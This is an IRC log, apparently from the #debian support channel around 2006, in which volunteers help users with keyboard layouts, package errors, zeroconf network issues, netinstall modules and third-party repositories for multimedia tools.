| 00:00.00 | KerPlunk | war92: Why do you want to remove it? |
| 00:00.13 | jharrison | \amethyst: the router has no outside access either |
| 00:00.18 | The_And1 | hi guys.. i think there's something wrong with x. see i can't get any letters that needs altgr+something... were do i change that? |
| 00:00.20 | cheal | KerPlunk: packages don't come in bzip2 format. packages are compressed with gzip |
| 00:00.20 | \amethyst | jharrison: hrm |
| 00:00.21 | jharrison | \amethyst: only from the internal private lan |
| 00:00.31 | war92 | KerPlunk: I don't need it anymore |
| 00:00.39 | \amethyst | jharrison: no wireless? |
| 00:00.40 | jharrison | \amethyst: hosts on the dmz cannot access the router either |
| 00:00.43 | war92 | KerPlunk: but I get an error 255 when I try to dpkg --purge or apt-get remove --purge it |
| 00:00.52 | jetscreamer | as root? |
| 00:00.53 | jharrison | \amethyst: well I do have wireless but the wireless is disabled |
| 00:01.00 | Eulex | asg, yep. |
| 00:01.06 | war92 | dpkg: error processing distcc (--purge): |
| 00:01.06 | war92 | <PROTECTED> |
| 00:01.07 | war92 | yup |
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| 00:01.15 | war92 | its in Etch, happens on all of my machines |
| 00:01.27 | \amethyst | jharrison: unless it's some kind of zeroconf thing on the wireless, I have no clue :( |
| 00:01.36 | The_And1 | what's the file that controls the keyboard buttons? |
| 00:01.54 | avar | The_And1: depends |
| 00:01.54 | smee | hi, can I make `less` not to buffer its input? |
| 00:01.56 | \amethyst | The_And1: do you use Gnome, KDE, both, neither? |
| 00:01.59 | KerPlunk | The_And1: many files control them. |
| 00:02.03 | The_And1 | kde |
| 00:02.04 | KerPlunk | The_And1: Do you use a gui at all? |
| 00:02.12 | avar | your X keymap file |
| 00:02.14 | KerPlunk | The_And1: #kde #debian-kde |
| 00:02.14 | avar | whatever that is |
| 00:02.18 | jharrison | \amethyst: chkrootkit does not see anything |
| 00:02.35 | The_And1 | I am quite sure my friend installed gui |
| 00:02.50 | The_And1 | and fluxbox and x before i installed kde myself |
| 00:02.50 | jharrison | \amethyst: I have a wireless router but the wireless part of it is disabled because I do not use it |
| 00:02.52 | \amethyst | jharrison: it might not be a security breach, but stuff doesn't usually happen spontaneously |
| 00:03.08 | \amethyst | jharrison: upgraded anything recently? |
| 00:03.12 | \amethyst | rebooted recently? |
| 00:03.18 | jharrison | \amethyst: well I was playing with mtu stuff on my e1000 card today |
| 00:03.25 | jharrison | \amethyst: but I dont see how that would affect anything |
| 00:03.32 | KerPlunk | The_And1: Your friend was smart, fluxbox > kde, The_And1 to edit keys in fluxbox it's ~/.fluxbox/keys |
| 00:03.36 | jharrison | \amethyst: yes I rebooted today |
| 00:03.36 | KerPlunk | !start a window manager war |
| 00:03.36 | dpkg | enlightenment makes me vomit! |
| 00:03.51 | \amethyst | jharrison: have you installed any new packages since the last reboot? |
| 00:03.55 | \amethyst | jharrison: I mean |
| 00:04.02 | \amethyst | jharrison: between that reboot and the one before |
| 00:04.13 | jharrison | \amethyst: maybe a while ago |
| 00:04.13 | The_And1 | ok thx KerPlunk |
| 00:04.31 | jharrison | \amethyst: I might have done updates the other day and then rebooted today |
| 00:04.31 | \amethyst | jharrison: I had avahi mess up my configuration a while ago |
| 00:04.43 | \amethyst | jharrison: that was sid, I don't know about stable or etch |
| 00:05.14 | jharrison | I have that installed |
| 00:05.17 | jharrison | \amethyst: I use sid |
| 00:05.30 | jshriver | something is using my parallel port how can I find out what it is? I tried lsof | grep lp0 only thin listed is parallel |
| 00:05.35 | jshriver | which is the kernel driver |
| 00:05.46 | The_And1 | KerPlunk: Mod1 F12 :Workspace 12 |
| 00:05.46 | The_And1 | <PROTECTED> |
| 00:06.04 | jharrison | \amethyst: I dont know why I have this package installed |
| 00:06.34 | KerPlunk | The_And1: What are you trying to do? |
| 00:06.40 | KerPlunk | !tell The_And1 about ask |
| 00:06.52 | \amethyst | jharrison: aptitude remove will tell you why :) |
| 00:06.58 | dli | \amethyst, looks like 20MB/s for badblocks |
| 00:07.14 | jharrison | \amethyst: too late I have purged it |
| 00:07.29 | \amethyst | jharrison: actually, it might be the zeroconf package |
| 00:07.38 | jharrison | \amethyst: still have the ip after restarting network |
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| 00:08.12 | war92 | I edited the /var/lib/status file |
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| 00:08.14 | war92 | and fixed the problem |
| 00:08.15 | war92 | :) |
| 00:08.24 | \amethyst | jharrison: do you have zeroconf? |
| 00:08.25 | odion | hi |
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| 00:08.34 | odion | no |
| 00:08.39 | odion | what is your asl? |
| 00:08.46 | odion | am female |
| 00:08.48 | jharrison | \amethyst: I purged it and now everything is happy again |
| 00:08.49 | odion | and you? |
| 00:08.51 | HugLeo | Willyan, O fatal error nao vai desbloquear-me? |
| 00:08.59 | The_And1 | I have a problem with my alt gr button. I'm running Debian with kde. I had gui, x, and fluxbox installed by my friend. I don't get any output at all when i try to push the button. I know that there's some config file that i need to change, but which one i don't know. |
| 00:09.06 | \amethyst | jharrison: aha, ok |
| 00:09.12 | jharrison | \amethyst: I dont know what in the world that was about but getting rid of zeroconf fixes it |
| 00:09.22 | odion | ok |
| 00:09.30 | jharrison | \amethyst: thanks a lot |
| 00:09.33 | \amethyst | jharrison: zeroconf tries to configure via zeroconf |
| 00:09.34 | KerPlunk | The_And1: What is alt gr button, is that a laptop key special from your laptop manufacturer? |
| 00:09.36 | \amethyst | jharrison: err |
| 00:09.38 | jharrison | \amethyst: now back to jumbo frames |
| 00:09.41 | odion | the_and1 |
| 00:09.42 | \amethyst | jharrison: in if-up |
| 00:09.53 | odion | i like to give you the solution? |
| 00:10.07 | odion | amethyst |
| 00:10.13 | odion | are you ther? |
| 00:10.15 | jharrison | \amethyst: I keep getting some NETDEV errors on e1000 when under heavy load |
| 00:10.15 | The_And1 | Alt gr is the key right to space... |
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| 00:10.22 | \amethyst | jharrison: if you need zeroconf in the future for something else, /etc/default/zeroconf lets you specify IFBLACKLIST="eth0 eth1" or such |
| 00:10.22 | jharrison | \amethyst: dont know if you have any idea about that? |
| 00:10.30 | \amethyst | jharrison: sorry, no |
| 00:10.32 | odion | i like to chat private? |
| 00:10.35 | HugLeo | fatal_, ei |
| 00:10.37 | jharrison | \amethyst: what is zeroconf for? |
| 00:10.43 | \amethyst | jharrison: wireless I think |
| 00:10.49 | odion | hello |
| 00:10.54 | KerPlunk | The_And1: Are you using a laptop? if so who makes it |
| 00:10.55 | odion | huglo |
| 00:10.56 | odion | hi |
| 00:11.21 | odion | kerplunk hi |
| 00:11.21 | gevaerts | Q |
| 00:11.22 | curt | !tell odion -about enter |
| 00:11.27 | odion | what is your full name? |
| 00:11.29 | \amethyst | jharrison: and for things like printers |
| 00:11.34 | jharrison | \amethyst: true |
| 00:11.42 | useruser_ | \amethyst: so... i can't burn cds, but I can burn dvds! (at c. 0.62x) |
| 00:11.46 | \amethyst | jharrison: it give you a 169.254 address. That is pretty much all zeroconf does :) |
| 00:11.46 | KerPlunk | !ops odion is a troll slow-flooding the channel |
| 00:11.47 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: odion is a troll slow-flooding the channel |
| 00:11.52 | \amethyst | useruser_: odd |
| 00:12.12 | \amethyst | s/ve/ves/ |
| 00:12.12 | useruser_ | \amethyst: indeed. i think cdrecord isn't used for dvds by k3b, but i'm not sure what is |
| 00:12.25 | The_And1 | no I'm not running a laptop. It's a swedish compaq regular keyborad.. |
| 00:12.35 | \amethyst | jharrison: but avahi does other stuff on top of the 169.254 network |
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| 00:13.46 | *** mode/#debian [+b *!*@7-189-254-84.skylogicnet.it] by helix |
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| 00:13.54 | *** mode/#debian [-o helix] by helix |
| 00:13.56 | jharrison | hhhmmm seems I cannot specify an mtu with dhcp in /etc/network/interfaces |
| 00:13.59 | thingfish | thank you, helix. |
| 00:14.03 | The_And1 | <PROTECTED> |
| 00:14.16 | HugLeo | :] |
| 00:14.47 | The_And1 | http://www.thepotato.net/altgr.jpg |
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| 00:15.21 | Eulex | The_And1, altgr+2 doesn't work? |
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| 00:15.31 | The_And1 | nope |
| 00:15.38 | Joakim | somebody in ? |
| 00:15.41 | GuzzleFry | hey everyone, I have a question |
| 00:15.42 | Eulex | The_And1, did you select the right keyboard layout when configuring X? |
| 00:15.51 | ke6isf | Joakim: No, we are not here. |
| 00:15.53 | ke6isf | !tell GuzzleFry -about ask |
| 00:15.56 | Joakim | k |
| 00:16.00 | The_And1 | mozilla, terminal, whatever program |
| 00:16.32 | The_And1 | maybe not, there could be a chance that i selected an old american keyboard. where and how do i change keyboard layout in x? |
| 00:16.39 | GuzzleFry | Will I have any trouble running 32-bit applications in the AMD64 version of Debian? |
| 00:16.43 | Eulex | The_And1, did you select pc105 as model and se as layout? |
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| 00:17.00 | Eulex | !drxx The_And1 |
| 00:17.00 | dpkg | The_And1: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root). If you have edited the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 00:17.46 | Joakim | i wounder if someone could help me with a huge problem ! i cant hear nothing from my computer ! |
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| 00:18.07 | The_And1 | åäö - see those are all swedish letters so it must be configured properly |
| 00:18.41 | Eulex | The_And1, maybe, maybe not |
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| 00:19.29 | The_And1 | isn't there some config file were you can configure all keys manually? |
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| 00:20.26 | Eulex | Joakim, engelskan inte på topp? #debian.se |
| 00:20.51 | Joakim | nej värkligen inte ! |
| 00:21.01 | Garda | hey guys. trying to compile transcode, how do i tell it where to look for lame headers |
| 00:21.12 | Eulex | The_And1, well, if you're willing to hack x keyboard layout files; yes. but you shouldn't need to. |
| 00:21.25 | KerPlunk | Garda: Why don't you just apt-get install transcode? |
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| 00:22.03 | skyerce | how to get install openoffice2.0? |
| 00:22.07 | Garda | there is no transcode package |
| 00:22.24 | GuzzleFry | Will I have any trouble running 32-bit applications in the AMD64 version of Debian? |
| 00:22.32 | Eulex | The_And1, could you just run dpkg-reconfigure xserver-xfree86/xorg and check if you've got the right settings? |
| 00:22.42 | Garda | just like there is no dvd::rip and lame packages |
| 00:22.46 | KerPlunk | !tell Garda about marillat |
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| 00:22.59 | KerPlunk | Garda: What version of debian are you using? |
| 00:23.03 | plugwash | GuzzleFry probablly |
| 00:23.10 | Garda | sarge |
| 00:23.16 | stew | GuzzleFry: you can have 32-bit apps that run from a 32 bit chroot |
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| 00:23.24 | KerPlunk | Garda: use marillat |
| 00:23.25 | GuzzleFry | is that difficult to do? |
| 00:23.32 | Joakim | Eulex skulle du kunna hjälpa mig med mitt stora problem ? |
| 00:23.45 | stew | GuzzleFry: not really, its just a matter of using debootstrap to create a 32 bit root |
| 00:23.47 | Eulex | Joakim, swedish in #debian.se, thank you :) |
| 00:23.50 | GuzzleFry | I need to get away from windows 2000, it's boring me |
| 00:24.02 | Joakim | eulex ok ^^ |
| 00:24.13 | The_And1 | Eulex, I'm in debian.se trying to see if the swedish boys could help me with my problem since there's a larger chance that they have a swedish keyboard ;9 |
| 00:24.14 | KerPlunk | Garda: echo "deb ftp://ftp.nerim.net/debian-marillat/ sarge main" >> /etc/apt/sources.list; apt-get update; apt-get install transcode dvd::rip; |
| 00:24.17 | GloX` | is there a package for vmware server ? can't find any |
| 00:24.18 | Garda | cool. thanks guys |
| 00:24.20 | KerPlunk | Garda: type that command as root and you're set |
| 00:24.21 | ciphergoth | OK, that's weird. If I click on "take screenshot" it renders the frame just fine; it's just moving video where the rendering goes wrong. |
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| 00:24.58 | Eulex | The_And1, they gave you approximately the same advice. check that you've got pc105 as keyboard model and se as layout. |
| 00:26.13 | GuzzleFry | ok, thanks stew. I'll research it while I'm downloading the ISOs |
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| 00:27.15 | KerPlunk | Garda: Those tools contain decrypting css libraries...that are illegal in america, that's why debian.org doesn't host them. marillat should be added to your sources.list for illegal content. like this |
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| 00:27.59 | Garda | well, i'm in australia, i guess we don't have the dmca so it's ok |
| 00:28.00 | stew | GuzzleFry: on my amd64 now i have chroots that let me run 32-bit sarge | 64 bit etch | 32 bit sid | 64 ubuntu |
| 00:28.50 | tyranix | stew: I'm using amd64 without a 32 bit chroot. What applications do you use that require 32 bit chroot? |
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| 00:29.51 | GuzzleFry | is there any problem compiling a 64-bit version of Firefox and OpenOffice 2.0? |
| 00:30.26 | stew | tyranix: i don't have anything that requires it, i use the chroots for testing |
| 00:30.42 | tyranix | oh ok |
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| 00:31.25 | stew | i use the ubuntu chroot for mythtv |
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| 00:31.30 | stew | err i uesd to |
| 00:31.32 | YogSothoth2 | Hi |
| 00:31.42 | KerPlunk | !greet YogSothoth2 |
| 00:31.42 | dpkg | Howdy, YogSothoth2 |
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| 00:32.12 | YogSothoth2 | I'm trying to compile Lighttpd with PCRE support. So I want to install PCRE. I type this: apt-get install pcre pcre-devel and it just says: E: Couldn't find package pcre |
| 00:32.13 | YogSothoth2 | Why? |
| 00:32.23 | YogSothoth2 | Should I configure some repositories url? |
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| 00:32.39 | The_And1 | "please enter the video card's bus identifier" w00t???? |
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| 00:33.00 | tabris|away | YogSothoth2: why not just apt-cache search pcre |
| 00:33.00 | KerPlunk | The_And1: leave it blank |
| 00:33.02 | thingfish | The_And1: just hit OK |
| 00:33.08 | tabris|away | YogSothoth2: thus find out what the name of the package for pcre is |
| 00:33.09 | KerPlunk | !tell YogSothoth2 about apt-cache |
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| 00:33.50 | gerzoom2005 | hey! is anybody there? |
| 00:33.57 | KerPlunk | !tell gerzoom2005 about anyone |
| 00:34.02 | KerPlunk | !tell gerzoom2005 about ask |
| 00:34.59 | YogSothoth | tabris|away, thanks I didn't know about apt-cache. Indeed I was asking how could I search for packets :) |
| 00:35.45 | Eulex | oooo, campaigning period for the dpl vote has begun, with 7 candidates :) |
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| 00:36.09 | YogSothoth | tabris|away, thanks to you I found that I should type: apt-get install libpcre3 libpcre3-dev |
| 00:36.21 | KerPlunk | Eulex: Where is the candidate list? |
| 00:36.30 | tyranix | YogSothoth: Lighttp is already packaged and it depends on libpcre. |
| 00:36.31 | gerzoom2005 | i have a problem with a sarge netinstall, is anybody interested in my problem, let me know im a newbie in this thing of irc |
| 00:36.53 | KerPlunk | gerzoom2005: ask your question |
| 00:36.58 | Eulex | KerPlunk, I'll get for you |
| 00:37.56 | YogSothoth | tyranix, but I'm compiling lighttpd from sources |
| 00:38.24 | KerPlunk | YogSothoth: apt-get install lighttpd and you're done. |
| 00:38.24 | Eulex | KerPlunk, hmm, it's not at the website and not in the mail archives yet. I'll pastebin the full message. |
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| 00:39.17 | YogSothoth | KerPlunk, with latest 1.4.10 version ? |
| 00:39.32 | Eulex | KerPlunk, http://pastebin.com/572606 |
| 00:39.33 | gerzoom2005 | i ve tried to do a ppp conection with a 155.200bps dial-up modem. ive followed all the steps in the debian manuals but the apt doesnt connect. the pppd conections works, but why the apt doesnt connect to the mirrors |
| 00:39.34 | KerPlunk | YogSothoth: it depends on what version of debian you are using, but I have the latest 1.4.10 version yes |
| 00:39.38 | KerPlunk | thanks Eulex |
| 00:39.43 | YogSothoth | I use Sarge |
| 00:40.00 | gerzoom2005 | ive tried do a sarge netinstall |
| 00:40.01 | KerPlunk | gerzoom2005: Try to pick different mirrors( type apt-setup as root) |
| 00:40.10 | KerPlunk | !tell YogSothoth about backports |
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| 00:40.42 | KerPlunk | YogSothoth: You'll get the latest version with backports, or you could just switch your sources.list to unstable; apt-get update && apt-get install lighttpd; then switch back to sarge, and apt-get update again. |
| 00:40.46 | KerPlunk | !tell YogSothoth about sources.list |
| 00:40.59 | gerzoom2005 | ive done that. (root, different mirrors) & nothing! |
| 00:41.05 | Eulex | KerPlunk, yw :) |
| 00:41.13 | YogSothoth | thanks KerPlunk :) |
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| 00:41.20 | Ringo999 | hi. im trying to netinstall debian on ibook. the installation requires the "sungem" module to be loaded, however, its not available in the /lib/modules directory. what can i do? |
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| 00:41.59 | KerPlunk | Ringo999: Find the source for sungem, and compile the module and use modprobe to load the module. |
| 00:42.25 | KerPlunk | Ringo999: /msg dpkg module; /msg dpkg m-a; /msg dpkg modprobe; /msg dpkg sungem; /msg dpkg ibook; |
| 00:42.28 | KerPlunk | !tell Ringo999 about msgdpkg |
| 00:42.34 | cheal | Ringo999: which release? |
| 00:42.59 | KerPlunk | Ringo999: ibooklinux.net is probably very helpful for you. |
| 00:43.14 | ACU_01 | stall xvidcap easy without the need of 2 weeks of and chineze learning ---- I will appreciate any help |
| 00:43.40 | Ringo999 | cheal, etch |
| 00:43.50 | gilianima | what command to put in a bash script called 'mybashscript' so that when I execute 'mybashscript foo', it displays 'foo' ('foo' being a variable) ? |
| 00:43.51 | Ringo999 | KerPlunk, thx |
| 00:44.34 | \amethyst | err? |
| 00:44.43 | \amethyst | gilianima: do you want it to display 'foo' or $foo |
| 00:44.54 | prolific | gilianima, echo $1 |
| 00:45.06 | gilianima | \amethyst: $foo |
| 00:45.07 | GloX` | what's the package for kernel source ? |
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| 00:45.26 | cheal | Ringo999: are you using a daily image? Etch daily ISOs seem to be currently broken |
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| 00:45.59 | Spudchat | can anyone suggest a well supported gigabit network card for debian? |
| 00:46.46 | gilianima | prolific: thanks |
| 00:46.58 | \amethyst | gilianima: echo ${!1} |
| 00:46.58 | prolific | gilianima, Sure |
| 00:47.03 | ACU_01 | I realize that if someone will have the presence of mind to have a company servicing needs for Linux --- would be a great niche---- I am trying to get something working since few weeks --- I wish I could pay someone just to tell me how to do it in a minute |
| 00:47.11 | \amethyst | gilianima: then script DISPLAY will print :0 for example |
| 00:47.24 | \amethyst | gilianima: assuming that' what it means |
| 00:47.25 | prolific | ACU_01, Come again? |
| 00:47.27 | \amethyst | err |
| 00:47.44 | \amethyst | s/' what it means/'s what you mean/ |
| 00:47.56 | KerPlunk | Spudchat: Any standards compliant card should be supported. |
| 00:48.04 | Spudchat | allright thanks a lot |
| 00:48.11 | KerPlunk | !tell Spudchat about hardware |
| 00:48.15 | Ringo999 | cheal, not sure, but where would i find that "sungem" module...thats all i need to get it working |
| 00:48.24 | KerPlunk | Spudchat: If that's what you want, you can check hardware lists also. |
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| 00:48.30 | gerzoom2005 | reading, i found a way to get into my debian system using another distri. (chroot). i tried with mandrake 10 & it works . Is there a way to connect the apt using the internet conncetion of my mandrake, a kinda bridge between the mandrake internet connection and the apt? |
| 00:48.32 | KerPlunk | Spudchat: But you should have no problems. |
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| 00:48.54 | Spudchat | yeah thats one of the sites i was reading but i didnt really see much on the subject of gigabit |
| 00:48.55 | freeone3000 | Hello, I'm running wolfstien: ET, it doesn't go through arts by itself, and artsdsp says that it's not a binary... |
| 00:48.58 | justin | Ringo999: why do you think that you need to load that module? |
| 00:49.03 | cheal | Ringo999: what does $ uname -r; output? |
| 00:49.06 | gerzoom2005 | if you dont understand is because my native language is spanish |
| 00:49.13 | freeone3000 | How would I get it to use sound through arts, or force arts into a binary. |
| 00:49.14 | gilianima | \amethyst: i'm not sure to understand... but what prolific said was what i needed actually, but thanks :) |
| 00:49.38 | Covener | freeone3000: artsdsp executable |
| 00:49.39 | ACU_01 | I need a software to capture the screen and the sound (voice ) from the computer ---- I use in windows Camtasia ---- this is the only reason I still keep Windows --- I thought xvidcap will do the job - but man - it takes two lifes to get it work - tons of compiling and things.... |
| 00:49.46 | Ringo999 | justin, i just know, googling for the last couple of hours |
| 00:49.51 | KerPlunk | freeone3000: I had that problem...I can't remember what I did to fix it. |
| 00:49.56 | freeone3000 | Covener: It says it's not an executable. I'm running it, but somehow it's not an executable. |
| 00:49.58 | prolific | gilianima, I believe \amethyst thought you were supplying the name of a variable on the command line so that the value of the variable would be echoed |
| 00:50.03 | Ringo999 | cheal, cant tell you right now, im on macosx... |
| 00:50.14 | Covener | freeone3000: it's probably a shell-script wrapper. Dig deeper and add the artsdsp there |
| 00:50.19 | plugwash | gerzoom2005 if the network is up it should work just as well inside the chroot as outside |
| 00:50.33 | Ringo999 | but i just cant find the sources to that modul |
| 00:50.33 | KerPlunk | ACU_01: You shouldn't have to compile anything, you just need to apt-get install xvidcap |
| 00:50.38 | gilianima | prolific: ok, i see |
| 00:50.42 | justin | Ringo999: why do you think that you need the module? |
| 00:51.29 | Spudchat | thanks for the help, ill see you guys later |
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| 00:52.09 | freeone3000 | Hmm, thanks, it found the executable, but it's still not giving sound... guess I can rule out that problem. |
| 00:52.19 | GuzzleFry | is there any way you could interface with an xbox360, like windows media center does, using linux? |
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| 00:53.09 | Ringo999 | justin, i just know, googling for the last couple of hours |
| 00:53.11 | skyerce | how to get e17? |
| 00:53.28 | justin | Ringo999: do you know what an assumption is? |
| 00:53.33 | gilianima | is there an open source alternative to java ? |
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| 00:53.39 | freeone3000 | gilianima: Yes, blackdown. |
| 00:53.51 | gerzoom2005 | plugwash; then...., the only thing i have to do is open the console, connect it with debian, run apt-setup & it will conect to the network using the mandrake connection, it would be cool! |
| 00:53.53 | Ringo999 | justin, can you help me to get the module? |
| 00:53.55 | freeone3000 | gilianima: There's also gcj, but if you ask for help on ##java using it, people will laugh at you. |
| 00:54.02 | justin | Ringo999: again, why do you think that you need it? |
| 00:54.10 | freeone3000 | gilianima: Probably cuz gcj doesn't do everything right. |
| 00:54.51 | Ringo999 | justin, the installer cant find the ethernet interface hardware...ive googled and chatted with people from debianppc ... they say i have to load the sungem module.... |
| 00:56.03 | justin | Ringo999: what installer? |
| 00:57.11 | Ringo999 | justin, debian installer |
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| 00:57.46 | PowerPC | problem |
| 00:58.00 | gilianima | freeone3000: blackdown.org is a google search engine (?) Is blackdown developped by Sun ? |
| 00:58.07 | PowerPC | when i try to install from CD1 i get an error saying "No kernel modules found" |
| 00:58.13 | PowerPC | and then goes into a console |
| 00:58.27 | justin | Ringo999: that isn't very specific |
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| 01:00.04 | Ringo999 | PowerPC, what system are you trying to install on? |
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| 01:00.14 | gilianima | freeone3000: and gcj looks not to be developped anymore |
| 01:00.25 | cheal | PowerPC: which release? |
| 01:00.36 | PowerPC | 3.1 r1 |
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| 01:00.49 | PowerPC | ringo on my AMD Sempron 2600+ |
| 01:00.49 | tyranix | gilianima: Blackdown is not open source otherwise it would be packaged in Debian. Use 'java-package' to install proprietary Java (Sun or IBM versions), or install 'free-java-sdk' for a free implementation (jikes/sablevm). |
| 01:01.05 | cheal | PowerPC: hum, from where did you download your ISO? |
| 01:01.07 | Ringo999 | PowerPC, oh ok, thought it was ppc architecture |
| 01:01.17 | PowerPC | nope x86 |
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| 01:01.34 | PowerPC | cheal from a debian mirror server |
| 01:01.39 | PowerPC | dont remember which one |
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| 01:02.13 | PowerPC | http://mirror.aarnet.edu.au/pub/debian-cd/ |
| 01:02.15 | PowerPC | that one |
| 01:02.27 | cheal | PowerPC: I mean which file exactly? |
| 01:02.28 | Ringo999 | how do i compile the sources of a module? |
| 01:02.47 | PowerPC | http://cdimage.debian.org/debian-cd/3.1_r1/i386/iso-cd/debian-31r1-i386-binary-1.iso |
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| 01:03.01 | Ringo999 | will i have the necessary tools when booting from a netinstall cd? |
| 01:03.05 | PowerPC | debian-31r1-i386-binary-1.iso |
| 01:04.21 | cheal | PowerPC: then I don't know |
| 01:04.49 | PowerPC | *sigh* |
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| 01:05.09 | cheal | Ringo999: I suppose it depends on which CD |
| 01:05.28 | PowerPC | and i cant use a netboot because im on wireless |
| 01:05.33 | SimonRaven | woohoo, svn at sf.net |
| 01:05.34 | cheal | PowerPC: did you try with linux26 or using default 2.4? |
| 01:05.50 | PowerPC | linux26 and default |
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| 01:06.01 | IdahoEv | join linuxhelp |
| 01:06.13 | IdahoEv | whoops, sorry |
| 01:06.17 | hhgf | español |
| 01:06.20 | Ringo999 | cheal, debian-testing-powerpc-netinst.iso ;-) |
| 01:06.36 | SimonRaven | !es |
| 01:06.36 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 01:06.44 | cheal | Ringo999: gah. I meant which module. sorry |
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| 01:06.58 | Ringo999 | cheal, "sungem"!!!! |
| 01:06.59 | cheal | PowerPC: it's a bit hard to believe, but try asking Google |
| 01:07.07 | PowerPC | i fif |
| 01:07.08 | PowerPC | did* |
| 01:07.11 | PowerPC | cant find much on it |
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| 01:07.49 | cheal | Ringo999: well, sungen comes with stock kernels, I don't see why you'd need to compile it, unless you need that while running d-i? |
| 01:07.53 | justin | Ringo999: why do you think you need to compile the module? |
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| 01:08.31 | PowerPC | cheal im trying again in VMware |
| 01:08.51 | Ringo999 | justin, because the module is not available when booting of the netinstall cd! |
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| 01:09.14 | cheal | PowerPC: hehe, you'll be lucky if that fixes it. |
| 01:09.15 | justin | Ringo999: who says you need the module? |
| 01:09.22 | PowerPC | thats really weird, it works in VMware |
| 01:09.23 | PowerPC | o_O |
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| 01:10.22 | Ringo999 | cheal, d-i? you mean debian installer? |
| 01:10.39 | GuzzleFry | How difficult will Debian be to install? |
| 01:10.48 | Ringo999 | justin, why is this so important, cant you just accept it (or not care) and try to help me? |
| 01:11.01 | Eulex | GuzzleFry, depends on hardware, but usually not very hard. |
| 01:11.02 | dadexter | GuzzleFry, is your VCR still flashing 12:00? |
| 01:11.04 | justin | Ringo999: you need to stop assuming that you need to load the module |
| 01:11.21 | PowerPC | ringo what kind of network card do you have? |
| 01:11.40 | GuzzleFry | I don't have a VCR, but I do have an alarm clock, and it's got the correct time |
| 01:11.48 | dadexter | GuzzleFry, you should be good then |
| 01:11.48 | cheal | Ringo999: yes |
| 01:11.49 | dadexter | :P |
| 01:12.01 | PowerPC | debian is installing on VMware but wont install on my PC o_O |
| 01:12.02 | PowerPC | thats weird |
| 01:12.08 | Ringo999 | justin, if you dont want to help me, fine. |
| 01:12.16 | cheal | PowerPC: oh, you mean on another PC? |
| 01:12.23 | PowerPC | on the PC im on now |
| 01:12.31 | Ringo999 | cheal, well i need this sungem module when installing... |
| 01:12.33 | PowerPC | i tried the exact same thing with a CD and it didnt work |
| 01:12.36 | GuzzleFry | Will it have any trouble with my integrated sound and ethernet? |
| 01:12.40 | Ringo999 | cheal, as it is a netinstall |
| 01:12.48 | Ringo999 | cheal, got it? |
| 01:12.51 | PowerPC | and i mount the image in VMware and install, it works |
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| 01:13.21 | cheal | PowerPC: well, if a stable Debian ISO doesn't install on one machine, the results are most likely to be different on a different machine |
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| 01:13.34 | PowerPC | odd |
| 01:13.43 | PowerPC | what changed the results is what stumps me |
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| 01:14.50 | PowerPC | my VM is rebooting right now |
| 01:14.57 | cheal | Ringo999: Ringo999 yeah, but you don't *really* need it during the first boot. you can install the base system, then reboot a stock kernel, load the stock module, then setup APT and install the rest |
| 01:15.44 | Ringo999 | justin, here: http://www.linuxhq.com/kernel/v2.6/12/drivers/net/sungem.c <-- read the comment |
| 01:16.15 | Ringo999 | cheal, that works with the netinstall cd? |
| 01:16.27 | justin | Ringo999: what is your point? |
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| 01:16.54 | Ringo999 | justin, "Support for Apple GMAC and assorted PHYs, WOL, Power Management" |
| 01:17.05 | justin | Ringo999: and? |
| 01:17.15 | freeone3000 | GMAC. What's a GMAC? |
| 01:17.16 | Ringo999 | justin, never mind. |
| 01:17.42 | justin | Ringo999: you aren't going to get very far if you continue to be so stubborn |
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| 01:19.16 | chealer9 | Ringo999: sorry, my DSL connection just skipped. if you didn't get the message : "yeah, but you don't *really* need it during the first boot. you can install the base system, then reboot a stock kernel, load the stock module, then setup APT and install the rest" |
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| 01:19.58 | Ringo999 | justin, some people just dont get along. its not a big deal. im not taking it personal and you shouldnt either. ive been sitting here for quite a long time working on the problem. i dont have the time and engery for arguments. |
| 01:20.40 | Hacker | heya |
| 01:20.49 | Ringo999 | chealer9, yeah i got it. im going to give it a try. |
| 01:20.56 | justin | Ringo999: well, you are the one who is stubbornly refusing to stop assuming things |
| 01:21.02 | PowerPC | wow wtf debian installed on my VM but not on my system itself |
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| 01:21.23 | justin | PowerPC: why do you find that surprising? |
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| 01:21.36 | Hacker | how can you hack on linux? cos i dont want people hacking my windows XP or linux and i wana fix the patches. |
| 01:22.18 | PowerPC | i dunno justin |
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| 01:23.30 | rob | I dunno, your the hacker, you tell us |
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| 01:25.03 | blondie | what program can I use (CLI) to compress an avi video? :| |
| 01:25.14 | fman | guys, when doing an apt-get dist-upgrade I get the following error "WARNING: The following packages cannot be authenticated! " |
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| 01:25.27 | fman | then it bombs out with "E: Some packages could not be authenticated " |
| 01:25.37 | fman | any ideas how I can progress this update? |
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| 01:26.17 | justin | fman: /topic |
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| 01:26.21 | dusty | ave you |
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| 01:27.05 | fman | ok |
| 01:27.20 | fman | thought that was question (with only minor pasting) :( |
| 01:27.29 | blondie | dusty: huh? |
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| 01:28.04 | justin | fman: yes, and the topic has the answer |
| 01:28.10 | blondie | Dustbuster: please work on dusty |
| 01:28.15 | Dustbuster | ? |
| 01:28.23 | blondie | bad joke |
| 01:28.25 | fman | ok |
| 01:28.45 | blondie | that's just naughty :P |
| 01:29.07 | Dustbuster | :P |
| 01:29.18 | IdahoEv | Isn't procmail supposed to invoke automatically (i.e. without a .forward entry) on any debian system, assuming the user has a .procmailrc in their home? |
| 01:29.50 | osiris_ | is there others with etch packages and USB? after doing apt-get to install 2.6.15 kernel image, usb mouse stoped working, modprobe usbmouse just hangs, no messages at all |
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| 01:30.55 | yawg | ok |
| 01:31.00 | yawg | i have a working NIC card this time |
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| 01:31.22 | yawg | my floppy installation errors out after downloading some packages |
| 01:31.30 | yawg | i think it is a memory problem |
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| 01:31.42 | yawg | is there a way to reduce the memory the debian install requires? |
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| 01:34.09 | jetscreamer | you might check your memory with memtest, or check the cpu temp |
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| 01:36.25 | GloX` | http://ftp.debian.org/debian/pool/main/p/php5/ How can I use those on testing ? |
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| 01:36.45 | GuzzleFry | wow, there are open source Flash players :-X |
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| 01:38.00 | chealer9 | GloX`: by installing them? |
| 01:38.18 | chealer9 | GuzzleFry: all crappy, unless Gnash is usable |
| 01:38.20 | GloX` | well, but what do I need to add in sources.list ? |
